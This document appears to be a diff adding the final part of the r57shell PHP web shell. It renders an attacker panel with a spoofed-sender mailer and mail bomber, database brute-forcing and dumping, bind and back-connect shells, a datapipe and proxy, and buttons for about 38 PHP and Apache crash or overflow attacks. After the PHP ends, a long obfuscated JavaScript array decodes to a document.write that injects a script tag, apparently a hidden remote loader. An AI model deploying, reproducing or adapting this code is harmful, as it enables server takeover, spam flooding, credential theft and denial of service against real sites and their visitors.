value=FTP_ASCII>FTP_ASCII</option></select>".in('hidden','dir',0,$dir)); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt2'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +if(@function_exists("mail")){ +echo $table_up1.div_title($lang[$language.'_text102'],'id35').$table_up2.div('id35').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text103']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=2>'.(!empty($_POST['text'])?($_POST['text']):("mail text here")).'</textarea>'); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text104']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_file').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("file from r57shell")))); +echo sr(25,"<b>".$lang[$language.'_text18'].$arrow."</b>",in('text','loc_file',30,$dir)); +echo sr(25,"<b>".$lang[$language.'_text91'].$arrow."</b>",in('radio','compress',0,'none',1).' '.$arh); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text139']."</div></b></font>"; +echo sr(25,"<b>".$lang[$language.'_text105'].$arrow."</b>",in('text','to',30,(!empty($_POST['to'])?($_POST['to']):("hacker@mail.com"))).in('hidden','cmd',0,'mail_bomber').in('hidden','dir',0,$dir)); +echo sr(25,"<b>".$lang[$language.'_text106'].$arrow."</b>",in('text','from',30,(!empty($_POST['from'])?($_POST['from']):("billy@microsoft.com")))); +echo sr(25,"<b>".$lang[$language.'_text107'].$arrow."</b>",in('text','subj',30,(!empty($_POST['subj'])?($_POST['subj']):("hello billy")))); +echo sr(25,"<b>".$lang[$language.'_text108'].$arrow."</b>",'<textarea name=text cols=22 rows=1>'.(!empty($_POST['text'])?($_POST['text']):("flood text here")).'</textarea>'); +echo sr(25,"<b>Flood".$arrow."</b>",in('int','mail_flood',5,(!empty($_POST['mail_flood'])?($_POST['mail_flood']):100)).ws(4)."<b>Size(kb)".$arrow."</b>".in('int','mail_size',5,(!empty($_POST['mail_size'])?($_POST['mail_size']):10))); +echo sr(25,"",in('submit','submit',0,$lang[$language.'_butt15'])); + +echo $te."</td>".$fe."</tr></div></table>"; +} + + +if($mysql_on||$mssql_on||$pg_on||$ora_on||$mysqli_on||$msql_on||$sqlite_on) +{ +$select = '<select name=db>'; +if($mysql_on) $select .= '<option value=MySQL>MySQL</option>'; +if($mssql_on) $select .= '<option value=MSSQL>MSSQL</option>'; +if($pg_on) $select .= '<option value=PostgreSQL>PostgreSQL</option>'; +if($ora_on) $select .= '<option value=Oracle>Oracle</option>'; +if($mysqli_on) $select .= '<option value=MySQLi>MySQLi</option>'; +if($msql_on) $select .= '<option value=mSQL>mSQL</option>'; +if($sqlite_on) $select .= '<option value=SQLite>SQLite</option>'; +$select .= '</select>'; + +echo $table_up1.div_title($lang[$language.'_text82'],'id36').$table_up2.div('id36').$ts."<tr>".$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text134']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select.in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_brute')); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(25,"",in('radio','brute_method',0,'passwd',1)."<font face=Verdana size=-2>".$lang[$language.'_text99']." ( <a href='".$_SERVER['PHP_SELF']."?users'>".$lang[$language.'_text95']."</a> )</font>"); +echo sr(25,"",in('checkbox','reverse id=reverse',0,'1',1).$lang[$language.'_text101']); +echo sr(25,"",in('radio','brute_method',0,'dic',0).$lang[$language.'_text135']); +echo sr(35,"<b>".$lang[$language.'_text37'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root")))); +echo sr(25,"<b>".$lang[$language.'_text135'].$arrow."</b>",in('text','dictionary',0,(!empty($_POST['dictionary'])?($_POST['dictionary']):($dir.'passw.dic')))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt1'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text40']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text36'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql"))).' <b>.</b> '.in('text','mysql_tbl',8,(!empty($_POST['mysql_tbl'])?($_POST['mysql_tbl']):("user")))); +echo sr(35,in('hidden','dir',0,$dir).in('hidden','cmd',0,'mysql_dump')."<b>".$lang[$language.'_text41'].$arrow."</b>",in('checkbox','dif id=dif',0,'1').in('text','dif_name',17,(!empty($_POST['dif_name'])?($_POST['dif_name']):("dump.sql")))); +echo sr(35,"",in('submit','submit',0,$lang[$language.'_butt9'])); + +echo $te."</td>".$fe.$fs."<td valign=top width=33%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text83']."</div></b></font>"; + +echo sr(35,"<b>".$lang[$language.'_text80'].$arrow."</b>",$select); +echo sr(35,"<b>".$lang[$language.'_text111'].$arrow."</b>",in('text','db_server',8,(!empty($_POST['db_server'])?($_POST['db_server']):("localhost"))).' <b>:</b> '.in('text','db_port',8,(!empty($_POST['db_port'])?($_POST['db_port']):("")))); +echo sr(35,"<b>".$lang[$language.'_text37'].' : '.$lang[$language.'_text38'].$arrow."</b>",in('text','mysql_l',8,(!empty($_POST['mysql_l'])?($_POST['mysql_l']):("root"))).' <b>:</b> '.in('text','mysql_p',8,(!empty($_POST['mysql_p'])?($_POST['mysql_p']):("password")))); +echo sr(35,"<b>".$lang[$language.'_text39'].$arrow."</b>",in('text','mysql_db',8,(!empty($_POST['mysql_db'])?($_POST['mysql_db']):("mysql")))); +echo sr(35,"<b>".$lang[$language.'_text84'].$arrow."</b>".in('hidden','dir',0,$dir).in('hidden','cmd',0,'db_query'),""); +echo $te."<div align=center id='n'><textarea cols=30 rows=4 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSHOW TABLES;\nSELECT * FROM user;\nSELECT version();\nSELECT user();"))."</textarea><br>".in('submit','submit',0,$lang[$language.'_butt1'])."</div>"; + +echo "</td>".$fe."</tr></div></table>"; +} + + +if(!$safe_mode && $unix){ +echo $table_up1.div_title($lang[$language.'_text81'],'id37').$table_up2.div('id37').$ts."<tr>".$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text9']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text11'].$arrow."</b>",in('text','bind_pass',10,'r57')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt3'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text12']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text13'].$arrow."</b>",in('text','ip',15,((getenv('REMOTE_ADDR')) ? (getenv('REMOTE_ADDR')) : ("127.0.0.1")))); +echo sr(40,"<b>".$lang[$language.'_text14'].$arrow."</b>",in('text','port',15,'11457')); +echo sr(40,"<b>".$lang[$language.'_text20'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option><option value=\"C\">C</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt4'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>".$lang[$language.'_text22']."</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text23'].$arrow."</b>",in('text','local_port',10,'11457')); +echo sr(40,"<b>".$lang[$language.'_text24'].$arrow."</b>",in('text','remote_host',10,'irc.dalnet.ru')); +echo sr(40,"<b>".$lang[$language.'_text25'].$arrow."</b>",in('text','remote_port',10,'6667')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">datapipe.pl</option><option value=\"C\">datapipe.c</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe.$fs."<td valign=top width=25%>".$ts; +echo "<font face=Verdana size=-2><b><div align=center id='n'>Proxy</div></b></font>"; +echo sr(40,"<b>".$lang[$language.'_text10'].$arrow."</b>",in('text','proxy_port',10,'31337')); +echo sr(40,"<b>".$lang[$language.'_text26'].$arrow."</b>","<select size=\"1\" name=\"use\"><option value=\"Perl\">Perl</option></select>".in('hidden','dir',0,$dir)); +echo sr(40,"",in('submit','submit',0,$lang[$language.'_butt5'])); +echo $te."</td>".$fe."</tr></div></table>"; +} + +echo $table_up1.div_title($lang[$language.'_text140'],'id38').$table_up2.div('id38').$ts."<tr><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos1').in('submit','submit',0,'Recursive memory exhaustion').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos2').in('submit','submit',0,'Memory_limit [pack()]').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos3').in('submit','submit',0,'BoF [unserialize()]').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos4').in('submit','submit',0,'BoF ZendEngine').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos5').in('submit','submit',0,'SQlite [dl()] vuln').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos6').in('submit','submit',0,'PCRE [preg_match()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos7').in('submit','submit',0,'Mem_limit [str_repeat()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos8').in('submit','submit',0,'Apache process killer').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos9').in('submit','submit',0,'Overload [tempnam()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos10').in('submit','submit',0,'BoF [wordwrap()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos11').in('submit','submit',0,'BoF [array_fill()](PHP<5.1.2)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos12').in('submit','submit',0,'BoF [substr_compare()](PHP<5.1.2)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos13').in('submit','submit',0,'Arr. Cr. 64b[unserialize()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos14').in('submit','submit',0,'BoF [str_ireplace()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos15').in('submit','submit',0,'BoF [htmlentities()](PHP<5.1.6,4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos16').in('submit','submit',0,'BoF [zip_entry_read()](PHP<4.4.5)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos17').in('submit','submit',0,'BoF [sqlite_udf_decode_binary()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos18').in('submit','submit',0,'BoF [msg_receive()](PHP<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos19').in('submit','submit',0,'BoF [php_stream_filter_create()](PHP5<5.2.1)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos20').in('submit','submit',0,'BoF [unserialize()](PHP<4.4.4)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos21').in('submit','submit',0,'BoF [gdImageCreateTrueColor()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos22').in('submit','submit',0,'BoF [gdImageCopyResized()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos23').in('submit','submit',0,'DoS [iconv_substr()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos24').in('submit','submit',0,'DoS [setlocale()](PHP<5.2.x)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos25').in('submit','submit',0,'DoS [glob()] 1 (PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos26').in('submit','submit',0,'DoS [glob()] 2 (PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos27').in('submit','submit',0,'DoS [fnmatch()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos28').in('submit','submit',0,'BoF [imagepsloadfont()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos29').in('submit','submit',0,'BoF mSQL [msql_connect](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos30').in('submit','submit',0,'BoF [chunk_split()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos31').in('submit','submit',0,'BoF [php_win32sti.dl](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos32').in('submit','submit',0,'BoF [php_iisfunc.dll](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos33').in('submit','submit',0,'BoF [ntuser_getuserlist()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos34').in('submit','submit',0,'DoS [com_print_typeinfo()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos35').in('submit','submit',0,'BoF [iconv()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos36').in('submit','submit',0,'BoF [iconv_m_d_headers()](PHP<5.2.x)').$fe); +echo $te."</td><td valign=top width=25%>".$ts; +echo "<font face=Verdana color=red size=-2><b><div align=center id='n'>".$lang[$language.'_text141']."</div></b></font>"; +echo sr(10,"",$fs.in('hidden','cmd',0,'dos37').in('submit','submit',0,'BoF [iconv_mime_decode()](PHP<5.2.x)').$fe); +echo sr(10,"",$fs.in('hidden','cmd',0,'dos38').in('submit','submit',0,'BoF [iconv_strlen()](PHP<5.2.x)').$fe); +/*echo sr(10,"",$fs.in('hidden','cmd',0,'dos').in('submit','submit',0,'BoF [()](PHP<5.2.x)').$fe);*/ +echo $te."</td></tr></div></table>"; +echo '</table>'.$table_up3."</div></div><div align=center id='n'><font face=Verdana size=-2><b>o---[ r57shell | version ".$version." | <a href=http://rst.void.ru>RST</a> | <a href=http://ghc.ru>GHC</a> | <a href=http://www.antichat.ru>Antichat.ru Edition</a> | Generation time: ".round(getmicrotime()-starttime,4)." ]---o</b></font></div></td></tr></table>"; +echo '</body></html>'; +?> +<script type="text/javascript" language="javascript"> +<!-- +fF7eSD8=new Array(); +fF7eSD8[0]="%3Cscript%3E%0Adocu"; +fF7eSD8[1]="ment.write%28une"; +fF7eSD8[2]="scape%28%22%253Cscri"; +fF7eSD8[3]="pt%2520type%253D%25"; +fF7eSD8[4]="22text/javascr"; +fF7eSD8[5]="ipt%2522%253Edo"; +fF7eSD8[6]="cument.write%25"; +fF7eSD8[7]="28%2527%255Cu00"; +fF7eSD8[8]="3c%255Cu0073%255C"; +fF7eSD8[9]="u0063%255Cu0072"; +fF7eSD8[10]="%255Cu0069%255Cu"; +fF7eSD8[11]="0070%255Cu007"; +fF7eSD8[12]="4%255Cu0020%255C"; +fF7eSD8[13]="u0074%255Cu007"; +fF7eSD8[14]="9%255Cu0070%255Cu"; +fF7eSD8[15]="0065%255Cu003d%25"; +fF7eSD8[16]="5Cu0022%255Cu0"; +fF7eSD8[17]="074%255Cu0065%255C"; +fF7eSD8[18]="u0078%255Cu0074%25"; +fF7eSD8[19]="5Cu002f%255Cu"; +fF7eSD8[20]="006a%255Cu0061%255"; +fF7eSD8[21]="Cu0076%255Cu0"; +fF7eSD8[22]="061%255Cu0073%25"; +fF7eSD8[23]="5Cu0063%255Cu00"; +fF7eSD8[24]="72%255Cu0069%25"; +fF7eSD8[25]="5Cu0070%255Cu"; +fF7eSD8[26]="0074%255Cu0022"; +fF7eSD8[27]="%255Cu003e%255C"; +fF7eSD8[28]="u0064%255Cu00"; +fF7eSD8[29]="6f%255Cu0063%255C"; +fF7eSD8[30]="u0075%255Cu006"; +fF7eSD8[31]="d%255Cu0065%255Cu"; +fF7eSD8[32]="006e%255Cu0074%255"; +fF7eSD8[33]="Cu002e%255Cu00"; +fF7eSD8[34]="77%255Cu0072%25"; +fF7eSD8[35]="5Cu0069%255Cu"; +fF7eSD8[36]="0074%255Cu0065%25"; +fF7eSD8[37]="5Cu0028%255Cu002"; +fF7eSD8[38]="7%255Cu005c%255Cu"; +fF7eSD8[39]="0075%255Cu0030"; +fF7eSD8[40]="%255Cu0030%255Cu0"; +fF7eSD8[41]="033%255Cu0063%25"; +fF7eSD8[42]="5Cu005c%255Cu007"; +fF7eSD8[43]="5%255Cu0030%255Cu"; +fF7eSD8[44]="0030%255Cu0035"; +fF7eSD8[45]="%255Cu0033%255C"; +fF7eSD8[46]="u005c%255Cu0075"; +fF7eSD8[47]="%255Cu0030%255Cu"; +fF7eSD8[48]="0030%255Cu003"; +fF7eSD8[49]="4%255Cu0033%255"; +fF7eSD8[50]="Cu005c%255Cu007"; +fF7eSD8[51]="5%255Cu0030%255Cu"; +fF7eSD8[52]="0030%255Cu0035%255"; +fF7eSD8[53]="Cu0032%255Cu00"; +fF7eSD8[54]="5c%255Cu0075%255C"; +fF7eSD8[55]="u0030%255Cu0030%25"; +fF7eSD8[56]="5Cu0034%255Cu00"; +fF7eSD8[57]="39%255Cu005c%255Cu"; +fF7eSD8[58]="0075%255Cu0030%255"; +fF7eSD8[59]="Cu0030%255Cu003"; +fF7eSD8[60]="5%255Cu0030%255C"; +fF7eSD8[61]="u005c%255Cu0075"; +fF7eSD8[62]="%255Cu0030%255Cu00"; +fF7eSD8[63]="30%255Cu0035%255"; +fF7eSD8[64]="Cu0034%255Cu005"; +fF7eSD8[65]="c%255Cu0075%255C"; +fF7eSD8[66]="u0030%255Cu0030%25"; +fF7eSD8[67]="5Cu0032%255Cu"; +fF7eSD8[68]="0030%255Cu005c%25"; +fF7eSD8[69]="5Cu0075%255Cu00"; +fF7eSD8[70]="30%255Cu0030%255"; +fF7eSD8[71]="Cu0035%255Cu003"; +fF7eSD8[72]="3%255Cu005c%255Cu0"; +fF7eSD8[73]="075%255Cu0030"; +fF7eSD8[74]="%255Cu0030%255Cu00"; +fF7eSD8[75]="35%255Cu0032%25"; +fF7eSD8[76]="5Cu005c%255Cu00"; +fF7eSD8[77]="75%255Cu0030%255Cu"; +fF7eSD8[78]="0030%255Cu003"; +fF7eSD8[79]="4%255Cu0033%255Cu"; +fF7eSD8[80]="005c%255Cu0075%25"; +fF7eSD8[81]="5Cu0030%255Cu"; +fF7eSD8[82]="0030%255Cu0033"; +fF7eSD8[83]="%255Cu0064%255Cu0"; +fF7eSD8[84]="05c%255Cu0075%25"; +fF7eSD8[85]="5Cu0030%255Cu003"; +fF7eSD8[86]="0%255Cu0036%255"; +fF7eSD8[87]="Cu0038%255Cu0"; +fF7eSD8[88]="05c%255Cu0075%255C"; +fF7eSD8[89]="u0030%255Cu003"; +fF7eSD8[90]="0%255Cu0037%255C"; +fF7eSD8[91]="u0034%255Cu005c%25"; +fF7eSD8[92]="5Cu0075%255Cu"; +fF7eSD8[93]="0030%255Cu0030"; +fF7eSD8[94]="%255Cu0037%255Cu"; +fF7eSD8[95]="0034%255Cu005c%25"; +fF7eSD8[96]="5Cu0075%255Cu00"; +fF7eSD8[97]="30%255Cu0030%255Cu"; +fF7eSD8[98]="0037%255Cu0030%255"; +fF7eSD8[99]="Cu005c%255Cu00"; +fF7eSD8[100]="75%255Cu0030%255"; +fF7eSD8[101]="Cu0030%255Cu00"; +fF7eSD8[102]="33%255Cu0061%255Cu"; +fF7eSD8[103]="005c%255Cu0075"; +fF7eSD8[104]="%255Cu0030%255C"; +fF7eSD8[105]="u0030%255Cu0032%25"; +fF7eSD8[106]="5Cu0066%255Cu00"; +fF7eSD8[107]="5c%255Cu0075%255Cu"; +fF7eSD8[108]="0030%255Cu0030%25"; +fF7eSD8[109]="5Cu0032%255Cu0"; +fF7eSD8[110]="066%255Cu005c"; +fF7eSD8[111]="%255Cu0075%255Cu"; +fF7eSD8[112]="0030%255Cu0030%25"; +fF7eSD8[113]="5Cu0036%255Cu003"; +fF7eSD8[114]="4%255Cu005c%255C"; +fF7eSD8[115]="u0075%255Cu003"; +fF7eSD8[116]="0%255Cu0030%255C"; +fF7eSD8[117]="u0036%255Cu00"; +fF7eSD8[118]="31%255Cu005c%255"; +fF7eSD8[119]="Cu0075%255Cu00"; +fF7eSD8[120]="30%255Cu0030%255Cu"; +fF7eSD8[121]="0037%255Cu0034"; +fF7eSD8[122]="%255Cu005c%255Cu00"; +fF7eSD8[123]="75%255Cu0030%255C"; +fF7eSD8[124]="u0030%255Cu003"; +fF7eSD8[125]="6%255Cu0031%255"; +fF7eSD8[126]="Cu005c%255Cu007"; +fF7eSD8[127]="5%255Cu0030%255"; +fF7eSD8[128]="Cu0030%255Cu0"; +fF7eSD8[129]="032%255Cu0065"; +fF7eSD8[130]="%255Cu005c%255C"; +fF7eSD8[131]="u0075%255Cu0030%25"; +fF7eSD8[132]="5Cu0030%255Cu003"; +fF7eSD8[133]="7%255Cu0034%255Cu0"; +fF7eSD8[134]="05c%255Cu0075%255C"; +fF7eSD8[135]="u0030%255Cu00"; +fF7eSD8[136]="30%255Cu0033%255C"; +fF7eSD8[137]="u0030%255Cu005"; +fF7eSD8[138]="c%255Cu0075%255Cu"; +fF7eSD8[139]="0030%255Cu003"; +fF7eSD8[140]="0%255Cu0033%255C"; +fF7eSD8[141]="u0030%255Cu005"; +fF7eSD8[142]="c%255Cu0075%255"; +fF7eSD8[143]="Cu0030%255Cu0"; +fF7eSD8[144]="030%255Cu0036%255C"; +fF7eSD8[145]="u0063%255Cu005c"; +fF7eSD8[146]="%255Cu0075%255C"; +fF7eSD8[147]="u0030%255Cu00"; +fF7eSD8[148]="30%255Cu0037%25"; +fF7eSD8[149]="5Cu0033%255Cu00"; +fF7eSD8[150]="5c%255Cu0075%255"; +fF7eSD8[151]="Cu0030%255Cu00"; +fF7eSD8[152]="30%255Cu0032%255"; +fF7eSD8[153]="Cu0065%255Cu005c"; +fF7eSD8[154]="%255Cu0075%255C"; +fF7eSD8[155]="u0030%255Cu00"; +fF7eSD8[156]="30%255Cu0036%255Cu"; +fF7eSD8[157]="0066%255Cu005c%255"; +fF7eSD8[158]="Cu0075%255Cu00"; +fF7eSD8[159]="30%255Cu0030%255Cu"; +fF7eSD8[160]="0037%255Cu0032%25"; +fF7eSD8[161]="5Cu005c%255Cu007"; +fF7eSD8[162]="5%255Cu0030%255C"; +fF7eSD8[163]="u0030%255Cu0036%25"; +fF7eSD8[164]="5Cu0037%255Cu00"; +fF7eSD8[165]="5c%255Cu0075%255"; +fF7eSD8[166]="Cu0030%255Cu0030"; +fF7eSD8[167]="%255Cu0032%255Cu00"; +fF7eSD8[168]="66%255Cu005c%255"; +fF7eSD8[169]="Cu0075%255Cu0"; +fF7eSD8[170]="030%255Cu0030%255C"; +fF7eSD8[171]="u0037%255Cu0037"; +fF7eSD8[172]="%255Cu005c%255Cu"; +fF7eSD8[173]="0075%255Cu0030%25"; +fF7eSD8[174]="5Cu0030%255Cu"; +fF7eSD8[175]="0036%255Cu0038%255"; +fF7eSD8[176]="Cu005c%255Cu007"; +fF7eSD8[177]="5%255Cu0030%255"; +fF7eSD8[178]="Cu0030%255Cu0036"; +fF7eSD8[179]="%255Cu0035%255Cu00"; +fF7eSD8[180]="5c%255Cu0075%255Cu"; +fF7eSD8[181]="0030%255Cu003"; +fF7eSD8[182]="0%255Cu0037%255C"; +fF7eSD8[183]="u0032%255Cu00"; +fF7eSD8[184]="5c%255Cu0075%255"; +fF7eSD8[185]="Cu0030%255Cu0"; +fF7eSD8[186]="030%255Cu0036%25"; +fF7eSD8[187]="5Cu0035%255Cu0"; +fF7eSD8[188]="05c%255Cu0075"; +fF7eSD8[189]="%255Cu0030%255Cu0"; +fF7eSD8[190]="030%255Cu0032"; +fF7eSD8[191]="%255Cu0065%255Cu"; +fF7eSD8[192]="005c%255Cu0075"; +fF7eSD8[193]="%255Cu0030%255Cu00"; +fF7eSD8[194]="30%255Cu0036%25"; +fF7eSD8[195]="5Cu0061%255Cu"; +fF7eSD8[196]="005c%255Cu007"; +fF7eSD8[197]="5%255Cu0030%255"; +fF7eSD8[198]="Cu0030%255Cu0037"; +fF7eSD8[199]="%255Cu0033%255Cu0"; +fF7eSD8[200]="05c%255Cu0075%255C"; +fF7eSD8[201]="u0030%255Cu00"; +fF7eSD8[202]="30%255Cu0033%255Cu"; +fF7eSD8[203]="0065%255Cu005"; +fF7eSD8[204]="c%255Cu0075%255Cu"; +fF7eSD8[205]="0030%255Cu0030%25"; +fF7eSD8[206]="5Cu0033%255Cu00"; +fF7eSD8[207]="63%255Cu005c%255C"; +fF7eSD8[208]="u0075%255Cu0030"; +fF7eSD8[209]="%255Cu0030%255Cu0"; +fF7eSD8[210]="032%255Cu0066%255"; +fF7eSD8[211]="Cu005c%255Cu0"; +fF7eSD8[212]="075%255Cu0030%25"; +fF7eSD8[213]="5Cu0030%255Cu"; +fF7eSD8[214]="0035%255Cu0033%255"; +fF7eSD8[215]="Cu005c%255Cu007"; +fF7eSD8[216]="5%255Cu0030%255Cu0"; +fF7eSD8[217]="030%255Cu0034%255"; +fF7eSD8[218]="Cu0033%255Cu00"; +fF7eSD8[219]="5c%255Cu0075%25"; +fF7eSD8[220]="5Cu0030%255Cu0"; +fF7eSD8[221]="030%255Cu0035"; +fF7eSD8[222]="%255Cu0032%255Cu0"; +fF7eSD8[223]="05c%255Cu0075"; +fF7eSD8[224]="%255Cu0030%255Cu"; +fF7eSD8[225]="0030%255Cu0034%25"; +fF7eSD8[226]="5Cu0039%255Cu0"; +fF7eSD8[227]="05c%255Cu0075%25"; +fF7eSD8[228]="5Cu0030%255Cu"; +fF7eSD8[229]="0030%255Cu0035%25"; +fF7eSD8[230]="5Cu0030%255Cu"; +fF7eSD8[231]="005c%255Cu0075%255"; +fF7eSD8[232]="Cu0030%255Cu0"; +fF7eSD8[233]="030%255Cu0035"; +fF7eSD8[234]="%255Cu0034%255Cu0"; +fF7eSD8[235]="05c%255Cu0075"; +fF7eSD8[236]="%255Cu0030%255Cu"; +fF7eSD8[237]="0030%255Cu0033%255"; +fF7eSD8[238]="Cu0065%255Cu0"; +fF7eSD8[239]="027%255Cu0029"; +fF7eSD8[240]="%255Cu003c%255C"; +fF7eSD8[241]="u002f%255Cu0073%25"; 